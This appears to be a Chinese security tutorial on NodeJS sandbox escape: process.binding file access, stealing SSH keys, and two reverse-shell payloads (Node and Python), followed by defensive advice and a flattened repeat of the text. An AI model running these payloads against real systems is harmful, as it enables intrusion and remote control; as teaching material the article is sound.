Escape NodeJS Sandboxes
字数 776 2025-08-27 12:33:43

NodeJS 沙箱逃逸技术深度解析

前言

Node.js 是基于 Chrome V8 引擎的 JavaScript 运行环境,广泛应用于前后端开发。由于其流行度高(下载量超过2.5亿),安全研究尤为重要。本文将深入探讨NodeJS沙箱逃逸技术。

基础概念

沙箱环境限制

典型的NodeJS沙箱会限制:

  • 网络连接建立
  • 文件系统读写
  • 模块导入
  • 系统命令执行

常见攻击面

eval()函数是主要攻击入口,它允许在操作系统层面执行命令,当开发者未正确限制时可能导致安全问题。

信息收集技术

堆栈追踪

function stackTrace() {
    var err = new Error();
    print(err.stack);
}

输出示例:

Error
    at stackTrace (lodash.templateSources[3354]:49:19)
    at eval (lodash.templateSources[3354]:52:11)
    at Object.eval (lodash.templateSources[3354]:65:3)
    ...

环境探测

使用修改版的JSON.prune来探测可用对象和函数:

print(JSON.prune(this));

输出可能包含:

{
    "console": {},
    "global": "-pruned-",
    "process": {
        "title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
        "version": "v8.9.0",
        "moduleLoadList": [...]
    }
}

关键突破点:process.binding

访问底层模块

通过process.binding()可以绕过require限制直接访问核心模块:

var fs = this.process.binding('fs');
print(JSON.prune(fs));

输出示例:

{
    "access": "func access()",
    "close": "func close()",
    "open": "func open()",
    "read": "func read()",
    "rmdir": "func rmdir()",
    "mkdir": "func mkdir()"
}

文件系统操作

利用获取的fs绑定可以进行文件操作:

  • 读取敏感文件(如~/.ssh/id_rsa
  • 写入公钥到~/.ssh/authorized_keys

网络功能突破

直接反弹Shell

当net和child_process模块可用时:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "192.168.1.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止Node.js应用崩溃
})();

替代方案:使用spawnSync

当直接模块访问被限制时,可以重新实现关键功能:

// 修改自CapctionSet的实现
var resp = spawnSync('python', [
    '-c', 
    'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]);
print(resp.stdout);
print(resp.stderr);

防御建议

  1. 避免使用eval():尽可能寻找替代方案
  2. 严格沙箱配置:使用vm2等经过严格测试的沙箱模块
  3. 权限最小化:以最低必要权限运行NodeJS进程
  4. 输入验证:对所有用户输入进行严格验证
  5. 模块白名单:限制可加载的模块

总结

NodeJS沙箱逃逸的关键在于:

  1. 充分的环境信息收集
  2. 利用process.binding绕过模块限制
  3. 通过核心功能重组实现受限操作
  4. 多种语言环境下的备用方案

理解这些技术有助于开发者构建更安全的NodeJS应用,也为安全研究人员提供评估框架。

NodeJS 沙箱逃逸技术深度解析 前言 Node.js 是基于 Chrome V8 引擎的 JavaScript 运行环境,广泛应用于前后端开发。由于其流行度高(下载量超过2.5亿),安全研究尤为重要。本文将深入探讨NodeJS沙箱逃逸技术。 基础概念 沙箱环境限制 典型的NodeJS沙箱会限制: 网络连接建立 文件系统读写 模块导入 系统命令执行 常见攻击面 eval() 函数是主要攻击入口,它允许在操作系统层面执行命令,当开发者未正确限制时可能导致安全问题。 信息收集技术 堆栈追踪 输出示例: 环境探测 使用修改版的JSON.prune来探测可用对象和函数: 输出可能包含: 关键突破点:process.binding 访问底层模块 通过 process.binding() 可以绕过require限制直接访问核心模块: 输出示例: 文件系统操作 利用获取的fs绑定可以进行文件操作: 读取敏感文件(如 ~/.ssh/id_rsa ) 写入公钥到 ~/.ssh/authorized_keys 网络功能突破 直接反弹Shell 当net和child_ process模块可用时: 替代方案:使用spawnSync 当直接模块访问被限制时,可以重新实现关键功能: 防御建议 避免使用eval() :尽可能寻找替代方案 严格沙箱配置 :使用vm2等经过严格测试的沙箱模块 权限最小化 :以最低必要权限运行NodeJS进程 输入验证 :对所有用户输入进行严格验证 模块白名单 :限制可加载的模块 总结 NodeJS沙箱逃逸的关键在于: 充分的环境信息收集 利用process.binding绕过模块限制 通过核心功能重组实现受限操作 多种语言环境下的备用方案 理解这些技术有助于开发者构建更安全的NodeJS应用,也为安全研究人员提供评估框架。